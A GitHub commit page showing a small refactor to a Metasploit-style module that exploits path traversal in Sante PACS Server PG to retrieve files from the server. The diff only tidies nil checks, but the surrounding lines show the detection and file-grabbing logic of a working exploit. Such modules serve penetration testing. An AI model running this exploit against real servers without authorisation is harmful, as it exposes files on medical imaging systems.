Skip to content

Commit 0c2ba46

Browse files
committed
Update pacsserver_traversal.rb
1 parent 832c725 commit 0c2ba46

File tree

1 file changed

+2
-3
lines changed

1 file changed

+2
-3
lines changed

modules/auxiliary/gather/pacsserver_traversal.rb

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -58,7 +58,7 @@ def check
5858
return CheckCode::Unknown('Connection failed')
5959
end
6060

61-
if res && res.code == 200
61+
if res&.code == 200
6262
data = res.to_s
6363
if data.include?('Sante PACS Server PG')
6464
return CheckCode::Detected('Sante PACS Server PG seems to be running on the server.')
@@ -77,8 +77,7 @@ def run
7777
'uri' => normalize_uri(target_uri.path, 'assets', traversal)
7878
})
7979

80-
fail_with(Failure::Unknown, 'No response from server.') if res.nil?
81-
fail_with(Failure::UnexpectedReply, 'Non-200 returned from server. If you believe the path is correct, try increasing the path traversal depth.') if res.code != 200
80+
fail_with(Failure::UnexpectedReply, 'Non-200 returned from server. If you believe the path is correct, try increasing the path traversal depth.') if res&.code != 200
8281
print_good("File retrieved: #{target_uri.path}assets/#{traversal}")
8382

8483
path = store_loot('pacsserver.file', 'text/plain', datastore['RHOSTS'], res.body, datastore['FILE'], 'File retrieved through PACS Server path traversal.')

0 commit comments

Comments
 (0)